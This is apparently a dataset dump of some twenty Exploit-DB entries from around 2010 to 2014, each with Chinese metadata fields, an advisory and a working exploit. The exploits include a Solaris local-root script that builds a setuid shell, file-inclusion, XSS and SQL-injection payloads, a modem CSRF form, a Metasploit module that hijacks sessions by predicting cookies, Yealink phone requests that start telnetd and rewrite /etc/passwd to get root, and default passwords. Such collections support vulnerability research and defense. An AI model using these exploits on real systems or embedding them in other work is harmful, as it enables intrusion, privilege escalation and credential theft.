QLWD/code_shield huggingface dataset:
标题: Mozilla Firefox/Thunderbird/SeaMonkey - Multiple Memory Corruption Vulnerabilities EDB-ID: 33801 CVE: 2010-0167 类型: DOS 平台: LINUX 发布日期: 2010-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/38944/info

Mozilla Firefox, Thunderbird and Seamonkey are prone to multiple remote memory-corruption vulnerabilities.

Successful exploits may allow an attacker to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

NOTE: These issues were previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but have been assigned their own record to better document them.

<html> <head></head> <body style="font-family: monospace; width: 0;"> <div style="-moz-column-count: 4;"><div>a b c d<span style="display: list-item;"></span></div></div> </body> </html> URL: https://www.exploit-db.com/exploits/33801
标题: Sun Connection Update Manager for Solaris - Multiple Insecure Temporary File Creation Vulnerabilities EDB-ID: 33799 CVE: 2010-1183 类型: LOCAL 平台: SOLARIS 发布日期: 2010-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/38928/info

Sun Connection Update Manager for Solaris creates temporary files in an insecure manner.

An attacker with local access could potentially exploit these issues to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application.

Successfully mounting a symlink attack may allow the attacker to overwrite or corrupt sensitive files, which may result in a denial-of-service or privilege escalation. Other attacks may also be possible.

These issues affect unknown versions of the application. In addition, these issues may affect certain Solaris patch clusters or individual patch releases.

#!/bin/sh
#Larry W. Cashdollar, local root for Solaris x86 during patching
#10/4/2013 Tested on Cluster 9/30/2013
# larry@s0l4r1s:~$ ./disk_exp.sh 
# [+] Creating evil shell
# [+] Hope you've got gcc on here, compiling...
# [+] Waiting for root shell
# [+] Tada!
# # id
# uid=0(root) gid=0(root)


echo "[+] Creating evil shell"

cat << EOF > r00t.c
#include <stdio.h>
#include <unistd.h>
int
main (void)
{
  char *shell[2];
  shell[0] = "sh";
  shell[1] = NULL;
  setreuid (0, 0);
  setregid (0, 0);
  execve ("/bin/sh", shell, NULL);
  return(0);
}
EOF

echo "[+] Hope you've got gcc on here, compiling..."

gcc r00t.c -o /tmp/r00t

mkdir -p /tmp/diskette_rc.d/

echo "#!/bin/sh" > /tmp/diskette_rc.d/rcs9.sh
echo "chown root:root /tmp/r00t" >> /tmp/diskette_rc.d/rcs9.sh
echo "chmod +s /tmp/r00t" >> /tmp/diskette_rc.d/rcs9.sh
chmod +x /tmp/diskette_rc.d/rcs9.sh
echo "[+] Waiting for root shell"

until [  -u /tmp/r00t ]; do sleep 1; done; echo "[+] Tada!";/tmp/r00t URL: https://www.exploit-db.com/exploits/33799
标题: Joomla! Component com_jresearch - 'Controller' Local File Inclusion EDB-ID: 33797 CVE: 2010-1340 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/38917/info

The 'com_jresearch' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_jresearch&controller=../../../../../../../../../../proc/self/environ%00 URL: https://www.exploit-db.com/exploits/33797
标题: Apple Safari for iPhone/iPod touch - 'Throw' Exception Remote Code Execution EDB-ID: 33810 CVE: 2010-1180 类型: REMOTE 平台: OSX 发布日期: 2010-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/38992/info

Apple Safari on iPhone and iPod touch is prone to a remote code-execution vulnerability.

Successful exploits can allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks may cause denial-of-service conditions.

Safari on Apple iPhone and iPod touch 3.1.3 is vulnerable; other versions may also be affected. 

<html> <head> <title> Bad "throw" exception Remote DoS on Safari for iPhone & iPod Touch </title> <script language="JavaScript"> var n=unescape("%u9090"); var s=unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"); for(var i=0;i<64;i++){ n=n+n; document.write('<script>throw n+s;</scr'+'ipt>'); } </script> </head> <body> <center> <h1> Bad "throw" exception Remote DoS on Safari for iPhone & iPod Touch </h1> <h2> (C) Nishant Das Patnaik </h2> </center></body> </html> URL: https://www.exploit-db.com/exploits/33810
标题: Mozilla Firefox 3.6 - 'gfxTextRun::SanitizeGlyphRuns()' Remote Memory Corruption EDB-ID: 33800 CVE: 2010-0166 类型: DOS 平台: MULTIPLE 发布日期: 2010-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/38943/info

Mozilla Firefox is prone to a remote memory-corruption vulnerability.

Successful exploits may allow an attacker to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

Firefox 3.6 for Apple Mac OS X is vulnerable.

NOTE: This issue was previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but has been assigned its own record to better document it. 

<html> <head> <title>Testcase for bug 538065</title> <style type="text/css"> span.test { background: #ff0; } </style> </head> <body> <p>U+FEFF: <span class="test">&#xfeff;</span></p> <p>U+FFF9: <span class="test">&#xfff9;</span></p> <p>U+FFFA: <span class="test">&#xfffa;</span></p> <p>U+FFFB: <span class="test">&#xfffb;</span></p> </body> </html> URL: https://www.exploit-db.com/exploits/33800
标题: Mozilla Firefox 3.6 - Image Preloading Content-Policy Check Security Bypass EDB-ID: 33798 CVE: 2010-0168 类型: REMOTE 平台: LINUX 发布日期: 2010-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/38927/info

Mozilla Firefox is prone to a security-bypass vulnerability.

Attackers can exploit this issue to bypass content-loading policies.

Attackers can exploit this issue to bypass content-loading policies. The impact of this issue will depend on the reasons behind the content check. Consequences may include cross-site request-forgery attacks, denial-of-service conditions, and possibly remote code execution.

Mozilla Firefox 3.6 is vulnerable.

NOTE: This issue was previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but has been assigned its own record to better document it.

<img src="file:///dev/tty"> URL: https://www.exploit-db.com/exploits/33798
标题: SpringSource (Multiple Products) - Multiple HTML Injection Vulnerabilities EDB-ID: 33794 CVE: 2009-2907 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/38913/info

Multiple SpringSource Products are prone to multiple HTML-injection vulnerabilities because they fail to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

The following are vulnerable:

Hyperic HQ 4.0 prior to 4.0.3.2
Hyperic HQ 4.1 prior to 4.1.2.1
Hyper HQ Open Source
Hyperic HQ 4.2 pre-release
tc Server 6.0.20.B and prior
AMS 2.0 prior to 2.0.0.SR4 

Paste the following code into the description field:
<SCRIPT>alert("XSS Vulnerable")</SCRIPT> URL: https://www.exploit-db.com/exploits/33794
标题: RepairShop2 - 'index.php?Prod' Cross-Site Scripting EDB-ID: 33787 CVE: 2010-1856 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/38907/info

RepairShop 2 is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

RepairShop 2 1.9.023 Trial is vulnerable; other versions may also be affected.

#############################################################################################################
## RepairShop2 - cross site scripting ( XSS )                                                            ##
## Author : kaMtiEz (kamzcrew@yahoo.com)           ##
## Homepage : http://www.indonesiancoder.com                       ##
## Date : 20 March, 2010                                          ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.realitymedias.com/
[+] Download : http://www.realitymedias.com/repairshop/?L=downloads
[+] version : 1.9.023
[+] Vulnerability : XSS
[+] Dork : syalalala
[+] LOCATION : INDONESIA - JOGJA
#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/shop/?b=products.details&prod=[INDONESIANCODER]

[ EXPLOIT ]

"><script>alert(666)</script>

[ DEMO ]

http://n3x.realitymedias.com/rshop_demo/shop/?b=products.details&prod="><script>alert(666)</script>

[ FIX ]

:(


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31


[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] to someone .. satu langkah lagi .. :D
[+] CS-31 : kutunggu di kotaku :">

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/33787
标题: Motorola SBG901 Wireless Modem - Cross-Site Request Forgery EDB-ID: 33792 CVE: 2014-3778 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-06-17 漏洞利用脚本: Exploit Title :  Motorola SBG901 Wireless Modem CSRF Vulnerability
Google dork : N/A
Exploit Author: Blessen Thomas
Date : 06/01/2014
Vendor Homepage : http://www.arrisi.com/modems/
Software Link : N/A
Version : Motorola SBG901 Wireless modem
Tested on : Windows 7
CVE : CVE-2014-3778
Type of Application :  Web application
Release mode : Coordinated disclosure

Vulnerability description:
It was observed that this modem's Web Application , is vulnerable to
Cross-site request forgery through which attacker could manipulate user
data via sending the victim malicious crafted url.

At attacker could change the username,password ,dns service and host name
of the victim's account without the victim's knowledge.

Cross site request forgery
x.x.x.x is the ip address of the modem.



<html>
  <!-- CSRF PoC --->
  <body>
    <form action="http://x.x.x.x/goform/RgDdns" method="POST">
      <input type="hidden" name="DdnsService" value="1" />
      <input type="hidden" name="DdnsUserName" value="test" />
      <input type="hidden" name="DdnsPassword" value="test" />
      <input type="hidden" name="DdnsHostName" value="test" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

Tools used :
Mozilla firefox browser v28.0 , Burp proxy free edition v1.5

Timeline:
- 31-03-14: Contacted Vendor with details of Vulnerability and Exploit.
- 01-04-14: Vendor ARRIS (formerly Motorola) forwards to Surfboard Gateway
product team for review
- 15-04-14: Vendor contacted to know the status.
- 01-05-14 : Contacted vendor to know the status and release the advisory
publically
- 02-05-14: Vendor acknowledged and responded that currently no fix
available since the product is no longer in production and due end of life
status product
-14-05-14: Contacted vendor the final time to release the security advisory
 publically.
-14-05-14 : Vendor responded to release the advisory publically.
-15-05-14: Requested CVE ID from Mitre team
-22-05-14: CVE ID obtained URL: https://www.exploit-db.com/exploits/33792
标题: Lussumo Vanilla 1.1.10 - 'definitions.php' Multiple Remote File Inclusions EDB-ID: 33781 CVE: 2010-1337 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/38889/info

Vanilla is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.

Vanilla 1.1.10 and prior versions are vulnerable. 

http://www.example.com/PATH/languages/yourlanguage/definitions.php?include= [inj3ct0r]
http://www.example.com/PATH/languages/yourlanguage/definitions.php?Configuration['LANGUAGE']= [inj3ct0r] URL: https://www.exploit-db.com/exploits/33781
标题: Microsoft Windows Media Player 11 - '.AVI' File Colorspace Conversion Remote Memory Corruption EDB-ID: 33770 CVE: 2010-1042 类型: DOS 平台: WINDOWS 发布日期: 2010-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/38790/info

Microsoft Windows Media Player is prone to a remote memory-corruption vulnerability when handling specially crafted AVI files.

An attacker can exploit this issue by enticing an unsuspecting user to open a malicious file with the vulnerable application. A successful exploit may allow arbitrary code to run in the context of the currently logged-in user.

Windows Media Player 11 is vulnerable; other versions may also be affected.

UPDATE (Mar 19, 2010): The vendor has not been able to replicate this issue. Pending further investigation, this BID will be updated and possibly retired.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33770.avi.gz URL: https://www.exploit-db.com/exploits/33770
标题: Dojo Toolkit 1.4.1 - '/dijit/tests/_testCommon.js?theme' Cross-Site Scripting EDB-ID: 33764 CVE: 2010-2275 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/38739/info

Dojo is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Dojo 1.4.2 are vulnerable. 

http://www.example.com/dijit/tests/form/test_Button.html?theme="/><script>alert(/xss/)</script> URL: https://www.exploit-db.com/exploits/33764
标题: Dojo Toolkit 1.4.1 - '/doh/runner.html' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33765 CVE: 2010-2273 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/38739/info
 
Dojo is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to Dojo 1.4.2 are vulnerable. 

http://www.example.com/util/doh/runner.html?dojoUrl=&#039;/>foo</script><&#039;"<script>alert(/xss/)</script> URL: https://www.exploit-db.com/exploits/33765
标题: eFront 3.5.5 - 'langname' Local File Inclusion EDB-ID: 33769 CVE: 2010-1003 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/38787/info

eFront is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

eFront 3.5.5 and prior are vulnerable. 

http://www.example.com/efront/www/editor/tiny_mce/langs/language.php?langname=a/../../../../../../boot.ini%00
http://www.example.com/efront/www/editor/tiny_mce/langs/language.php?langname=../../../../upload/student/message_attachments/Sent/1266862529/malicious.php.inc%00 URL: https://www.exploit-db.com/exploits/33769
标题: Novell eDirectory 8.8.5 - DHost Weak Session Cookie Session Hijacking (Metasploit) EDB-ID: 33767 CVE: 2009-4655 类型: REMOTE 平台: NOVELL 发布日期: 2010-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/38782/info

Novell eDirectory is prone to a session-hijacking vulnerability.

An attacker can exploit this issue to gain access to the affected application.

Novell eDirectory 8.8.5 is vulnerable; other versions may also be affected. 

##
# $Id: edirectory_dhost_cookie.rb 7519 2009-11-14 23:08:27Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Novell eDirectory DHOST Predictable Session Cookie',
   'Description'    => %q{
    This module is able to predict the next session cookie value issued
   by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run
   this module, wait until the real administrator logs in, then specify the
   predicted cookie value to hijack their session.
   },
   'References'     =>
    [
     ['OSVDB', '60035'],
    ],
   'Author'         => 'hdm',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 7519 $'
  ))

  register_options([
   Opt::RPORT(8030),
   OptBool.new('SSL', [true, 'Use SSL', true])
  ], self.class)
 end

 def run
  vals = []
  name = ""

  print_status("Making 5 requests to verify predictions...")
  1.upto(6) do

   connect
   req =  "GET /dhost/ HTTP/1.1\r\n"
   req << "Host: #{rhost}:#{rport}\r\n"
   req << "Connection: close\r\n\r\n"
   sock.put(req)
   res = sock.get_once(-1,5)
   disconnect

   cookie = nil
   if(res =~ /Cookie:\s*([^\s]+)\s*/mi)
    cookie = $1
    cookie,junk = cookie.split(';')
    name,cookie = cookie.split('=')
    cookie      = cookie.to_i(16)
    vals << cookie
   end
  end

  deltas   = []
  prev_val = nil
  vals.each_index do |i|
   if(i > 0)
    delta = vals[i] - prev_val
    print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")
    deltas << delta
   end
   prev_val = vals[i]
  end

  deltas.uniq!
  if(deltas.length < 4)
   print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")
  else
   print_status("The cookie value is less predictable, maybe this has been patched?")
   print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")
  end
 end

end URL: https://www.exploit-db.com/exploits/33767
标题: Pars CMS - 'RP' Multiple SQL Injections EDB-ID: 33761 CVE: 2010-1054 类型: WEBAPPS 平台: ASP 发布日期: 2010-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/38734/info

Pars CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/fa_default.asp?RP=' UNION SELECT TOP 3 AttrName FROM validTableName%00 URL: https://www.exploit-db.com/exploits/33761
标题: PHP 5.3.2 'xmlrpc' Extension - Multiple Remote Denial of Service Vulnerabilities EDB-ID: 33755 CVE: 2010-0397 类型: DOS 平台: PHP 发布日期: 2010-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/38708/info

PHP's xmlrpc extension library is prone to multiple denial-of-service vulnerabilities because it fails to properly handle crafted XML-RPC requests.

Exploiting these issues allows remote attackers to cause denial-of-service conditions in the context of an application using the vulnerable library.

PHP 5.3.1 is vulnerable; other versions may also be affected. 

<?php
$req = '<?xml version="1.0"?>
<methodCall>
   </methodCall>';
    $result = xmlrpc_decode_request( $req, $frop );
?> URL: https://www.exploit-db.com/exploits/33755
标题: Yealink VoIP Phone SIP-T38G - Remote Command Execution EDB-ID: 33741 CVE: 2013-5759 2013-5758 类型: REMOTE 平台: HARDWARE 发布日期: 2014-06-13 漏洞利用脚本: Title: Yealink VoIP Phone SIP-T38G Remote Command Execution
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5758

Description:

Using cgiServer.exx we are able to send OS command using the system
function.

POC:

POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4= (Default Creds CVE-2013-5755)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

system("/bin/busybox%20telnetd%20start")



-- 
*Mr.Un1k0d3r** or 1 #* URL: https://www.exploit-db.com/exploits/33741
标题: Yealink VoIP Phone SIP-T38G - Default Credentials EDB-ID: 33739 CVE: 2013-5755 类型: REMOTE 平台: HARDWARE 发布日期: 2014-06-13 漏洞利用脚本: Title: Yealink VoIP Phone SIP-T38G Default Credentials
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5755

Description:

Web interface use hardcoded default credential in /config/.htpasswd


user:s7C9Cx.rLsWFA admin:uoCbM.VEiKQto var:jhl3iZAe./qXM

Here's the cleartext password for these accounts:

user:user
admin:admin
var:var

-- 
*Mr.Un1k0d3r** or 1 #* URL: https://www.exploit-db.com/exploits/33739
标题: Yealink VoIP Phone SIP-T38G - Privilege Escalation EDB-ID: 33742 CVE: 2013-5759 2013-5758 类型: REMOTE 平台: HARDWARE 发布日期: 2014-06-13 漏洞利用脚本: Title: Yealink VoIP Phone SIP-T38G Privileges Escalation
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5759

Description:

Using the fact that cgiServer.exx run under the root privileges we use the
command execution (CVE-2013-5758) to modify the system file restriction.
Then we add extra privileges to the guest account.

POC:

Step 1 - Changing /etc folder right to 777:

POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

system("/bin/busybox%20chmod%20-R%20777%20/etc")

Step 2 - Change guest user uid:

POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

system("echo "root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:0:0:Guest,,,:/:/bin/sh\" > /etc/passwd
")

Step 3 - Connect back using telnet and guest account (password is guest):

# id
uid=0(root) gid=0(root)

Enjoy your root shell :)

-- 
*Mr.Un1k0d3r** or 1 #* URL: https://www.exploit-db.com/exploits/33742